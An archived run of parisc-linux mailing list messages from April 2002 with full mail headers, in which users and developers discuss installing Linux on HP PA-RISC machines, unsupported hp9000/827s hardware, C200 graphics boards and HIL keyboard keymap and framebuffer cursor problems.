Message-ID: <20020426111403.J13434@neep.com.au>
References: <F41rNKBqujsclWXSZ3Z00000a78@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621256 6529 80.91.229.3 (22 Nov 2014 01:54:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 25 21:14:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (ns1.au.network4.net [203.25.143.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C25B482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Apr 2002 21:14:15 -0600 (MDT)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id LAA19404
	for parisc-linux@lists.parisc-linux.org; Fri, 26 Apr 2002 11:14:08 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <F41rNKBqujsclWXSZ3Z00000a78@hotmail.com>; from paboman1@hotmail.com on Thu, Apr 25, 2002 at 01:09:25PM +0000
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14651

Quoth Patryk Bonzanini:
> hi, i have an hp workstation whit hp-ux operating system and pa-risc cpu 
> (100mhz)
> this computer doesn't have any cdrom or floppy drive.

May you live in interesting times.

> can i install linux on this machine?

Yes, over the network.  Kenneth's response to your post has some info
to get you started.

> what can i do whitout cdrom, i must buy it?

If you can find an external SCSI CDROM drive on eBay or through the
place where you obtained your workstation, you will probably find that
useful in the long term.

> after this upgrade can i run maya for linux ?

The Alias|WaveFront Maya for Linux package is only for the i386 (IA32)
platform.  So, no you won't be able to run it.  And even if it were
available for hppa, your poor little 100MHz processor really wouldn't be
cutting it!    =)

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."



From - Thu Nov 08 21:22:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dunc <dunc@lemonia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hp9000/827s
Date: Sat, 27 Apr 2002 00:16:07 +0100 (BST)
Lines: 41
Approved: news@gmane.org
Message-ID: <1019862967.3cc9dfb797e86@www.lemonia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621256 6531 80.91.229.3 (22 Nov 2014 01:54:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 26 17:16:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from juice.lemonia.org (juice.lemonia.org [213.129.65.11])
	by dsl2.external.hp.com (Postfix) with SMTP id 86E6A482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Apr 2002 17:16:08 -0600 (MDT)
Original-Received: (qmail 58200 invoked by uid 1003); 26 Apr 2002 23:16:07 -0000
User-Agent: IMP/PHP IMAP webmail program 2.2.8
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14652

Hi,

I have been attempting to install on a hp9000/827s

It contains a

A1703-60022 card which has SCSI,parallel and serial interfaces.

The serial port is a D-type connector with 3 rows, and connects to an 8 way
serial splitter, port #1 of which is the console.

No graphics card.

Boot from CD fine,

get the 'You may need to switch console' message.

no further output.....


What I am wondering is if installation is supported via this card, and/or wether
it is referenced differently (i.e. not /dev/ttyS0)

I have a HP 700/96 serial terminal.

Cheers,

Dunc


Remember a Lemon is For Life....     o o
                                      |
                                      ~
Not just for Christmas!


--

purity - clarity - balance :: lemonia . org



From - Thu Nov 08 21:22:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hp9000/827s
Date: Sat, 27 Apr 2002 00:30:30 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20020427003030.B12051@parcelfarce.linux.theplanet.co.uk>
References: <1019862967.3cc9dfb797e86@www.lemonia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621256 6534 80.91.229.3 (22 Nov 2014 01:54:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Dunc <dunc@lemonia.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 26 17:30:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39137482F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Apr 2002 17:30:37 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 171FAc-0005Tz-00; Sat, 27 Apr 2002 00:30:30 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1019862967.3cc9dfb797e86@www.lemonia.org>; from dunc@lemonia.org on Sat, Apr 27, 2002 at 12:16:07AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14653

On Sat, Apr 27, 2002 at 12:16:07AM +0100, Dunc wrote:
> I have been attempting to install on a hp9000/827s

According to hp9000_models;
8x7/F10-I40      Old Nova servers    PCXS    NIO, None     NIO(1),NIO(2),NA

Basically, nothing is going to work.  There's some limited support for
the console in these machines, but no support for the SCSI, the Lan or
any other cards.  Sorry.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c200 fx graphics status?
Date: Fri, 26 Apr 2002 21:17:50 -0400
Lines: 63
Approved: news@gmane.org
Message-ID: <3CC9FC3E.4070604__46911.9484922432$1416621257$gmane$org@charter.net>
References: <3CC5E580.5090403@charter.net> <20020424042023.DC87A482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621257 6538 80.91.229.3 (22 Nov 2014 01:54:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:17 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 26 18:17:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dc-mx14.cluster1.charter.net (dc-mx14.cluster0.hsacorp.net [209.225.8.24])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E18C4846
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Apr 2002 18:17:43 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx14.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 43232936; Fri, 26 Apr 2002 20:32:30 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020310
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14654

Well, my Ebay special C200 "raven" arrived today... and it works!
I plugged in an extra 256Mb RAM and an old 4X scsi cdrom drive,
hooked ye olde dumbe terminal, and pushed yonder button.

I'm impressed, it came with a completely unconfigured HP/UX B11.11
so I got to set up my root password, network, etc. The dang thing
has internet connectivity already!

Now I am in somewhat of a dilemma. I got this bohemoth to be a parisc-linux
box, but one hates to wipe a pristine HP/UX which one got for free :-)

So now it would appear that I am in need of a new hard drive. My 23GB
Seagate Elite will definately not fit inside the case, and I'm using it
on the X86 machine anyways. Back to Ebay...

I can still test out the latest 0.9.3 cdrom image which I will burn
one this weekend. I don't have an EVC adapter yet so I can't test
the STI / X11 yet.

This machine seems to have been mis-advertised and actually contains
an EG board rather than a FX. I am disappointed yet happy because the
EG will run X in linux right?

Thx,

- Doug



Grant Grundler wrote:
> "B. Douglas Hilton" wrote:
> 
>>Hi list!
>>
>>I just subscribed here. I'm on debian-hppa but that doesn't
>>seem to get much traffic, so I'll repost my question here.
> 
> 
> Yeah - parisc-linux is a more appropriate place for the question anyway.
> 
> 
>>I sold it on Ebay and rolled
>>my profits into a C200 with some unspecified FX graphics
>>board.
> 
> 
> Not supported since HP hasn't published the docs for it.
> Almost all the older gfx cards are supported including
> the Vis-EG (PCI or GSC) that you mentioned in you posting
> to debian-hppa.
> 
> grant
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 






From - Thu Nov 08 21:22:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hp9000/827s
Date: Sat, 27 Apr 2002 10:22:47 +0200
Organization: private
Lines: 39
Approved: news@gmane.org
Message-ID: <3CCA5FD7.9ABE4524@gmx.at>
References: <1019862967.3cc9dfb797e86@www.lemonia.org> <20020427003030.B12051@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621257 6539 80.91.229.3 (22 Nov 2014 01:54:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:17 +0000 (UTC)
Cc: Dunc <dunc@lemonia.org>, parisc-linux@lists.parisc-linux.org,
	"MEYER,ALAN C. (HP-FtCollins,ex1)" <alan_meyer@hp.com>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 27 02:22:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 151A1482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 27 Apr 2002 02:22:55 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep14-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020427082247.NOWD11252.viefep14-int.chello.at@gmx.at>;
          Sat, 27 Apr 2002 10:22:47 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14655

Hello,

by the way, are there plans for supporting the good old machines.
You know, I am interested in writing the drivers for my E55 server
machine, my PDC console driver should help for development here.

I hope we will have a chance to start developing ....

With friendly regards
Christoph P.


Matthew Wilcox wrote:
> 
> On Sat, Apr 27, 2002 at 12:16:07AM +0100, Dunc wrote:
> > I have been attempting to install on a hp9000/827s
> 
> According to hp9000_models;
> 8x7/F10-I40      Old Nova servers    PCXS    NIO, None     NIO(1),NIO(2),NA
> 
> Basically, nothing is going to work.  There's some limited support for
> the console in these machines, but no support for the SCSI, the Lan or
> any other cards.  Sorry.
> 
> --
> Revolutions do not require corporate support.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:22:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HIL -> Keymap ok?
Date: Sat, 27 Apr 2002 17:11:44 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <20020427171144.C12610@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621257 6541 80.91.229.3 (22 Nov 2014 01:54:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 27 15:11:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id E5331482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 27 Apr 2002 15:11:44 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g3RLBia12886
	for parisc-linux@lists.parisc-linux.org; Sat, 27 Apr 2002 17:11:44 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (77% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14656

pa's,

I recently needed to connect an HIL keyboard to our 715/50 boxes and
was surprised to find that the key mapping was less than correct
(2.4.18-pa22).

--
5. Scorpio Core HIL (10) at 0xf0821000 [2/0/3], versions 0x7, 0x0, 0x73
Found HIL at 0xf0821000, IRQ 94
HIL: keyboard found at id 0
HIL: keymap loaded.
--

Looks okay. But I get all the wrong letters and control commands in 
all the wrong places (e.g. a=x, i=\n).

I've tried on two or three boxes with two or three different keyboards
(have a whole box of HIL keyboards if anyone is in desperate need of
one).

The install is based on 0.9.3 with all the latest apt-get updates.
I stopped running keymap.sh with no adverse effects (since the keymap
is loaded by the HIL driver).

The HIL driver is the old one?
[Character Devices]-[Support for Console on VT]-[HIL kbd support]

CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_HIL=y

I also have a serial console enabled.

I haven't tried HP System Device Driver (i8042) yet... (Though from
the looks of it, it's not quite complete?)

Any thoughts? (I've wadded through the list archives but no success).

c.

p.s. This is just the start of my quest to stop the unbliking eye...
     a.k.a. "hardware cusor blinking" ... from _always_ appearing 
     during framebuffer writes.




From - Thu Nov 08 21:22:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL -> Keymap ok?
Date: Sun, 28 Apr 2002 02:09:52 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <200204280209.52360.deller@gmx.de>
References: <20020427171144.C12610@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621258 6542 80.91.229.3 (22 Nov 2014 01:54:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:18 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 27 18:13:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id CEAAD482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 27 Apr 2002 18:12:58 -0600 (MDT)
Original-Received: (qmail 31315 invoked by uid 0); 28 Apr 2002 00:12:52 -0000
Original-Received: from pd9e0865d.dip.t-dialin.net (HELO P100.helgenet.de) (217.224.134.93)
  by mail.gmx.net (mp009-rz3) with SMTP; 28 Apr 2002 00:12:52 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <20020427171144.C12610@systemhalted>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook!
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14657

On Saturday 27 April 2002 23:11, Carlos O'Donell Jr. wrote:
> I recently needed to connect an HIL keyboard to our 715/50 boxes and
> was surprised to find that the key mapping was less than correct
> (2.4.18-pa22).

Hmm, I've no problems with my HIL keyboard on console.
(In X11 you have of course to use the correct mapping.)

> p.s. This is just the start of my quest to stop the unbliking eye...
>      a.k.a. "hardware cusor blinking" ... from _always_ appearing
>      during framebuffer writes.

Shouldn't be that hard.

Greetings,
Helge




From - Thu Nov 08 21:22:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL -> Keymap ok?
Date: Sun, 28 Apr 2002 00:48:08 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20020428004808.C13522@systemhalted>
References: <20020427171144.C12610@systemhalted> <200204280209.52360.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621258 6544 80.91.229.3 (22 Nov 2014 01:54:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 27 22:48:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D090482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 27 Apr 2002 22:48:10 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g3S4m8T13609;
	Sun, 28 Apr 2002 00:48:08 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200204280209.52360.deller@gmx.de>; from deller@gmx.de on Sun, Apr 28, 2002 at 02:09:52AM +0200
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14658

Helge,

> > p.s. This is just the start of my quest to stop the unbliking eye...
> >      a.k.a. "hardware cusor blinking" ... from _always_ appearing
> >      during framebuffer writes.
> 
> Shouldn't be that hard.
>

I've done a few nasty things to /drivers/video/sti to attempt to
stop the hardware cursor bliking, but I've not succeeded.

Even if I have no console on /dev/fb0 the penguin and blinking
cursor are the first things to appear as the fb device is initialized.

Any hints?

c.




From - Thu Nov 08 21:22:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hp9000/827s
Date: Sun, 28 Apr 2002 03:59:26 -0400
Lines: 65
Approved: news@gmane.org
Message-ID: <3CCBABDE.5080209@charter.net>
References: <1019862967.3cc9dfb797e86@www.lemonia.org> <20020427003030.B12051@parcelfarce.linux.theplanet.co.uk> <3CCA5FD7.9ABE4524@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621258 6546 80.91.229.3 (22 Nov 2014 01:54:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 28 00:59:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx12.cluster1.charter.net (dc-mx12.cluster0.hsacorp.net [209.225.8.22])
	by dsl2.external.hp.com (Postfix) with ESMTP id F3B6F482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Apr 2002 00:59:12 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by mx12.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 5728730 for parisc-linux@lists.parisc-linux.org; Sun, 28 Apr 2002 02:57:33 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020310
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
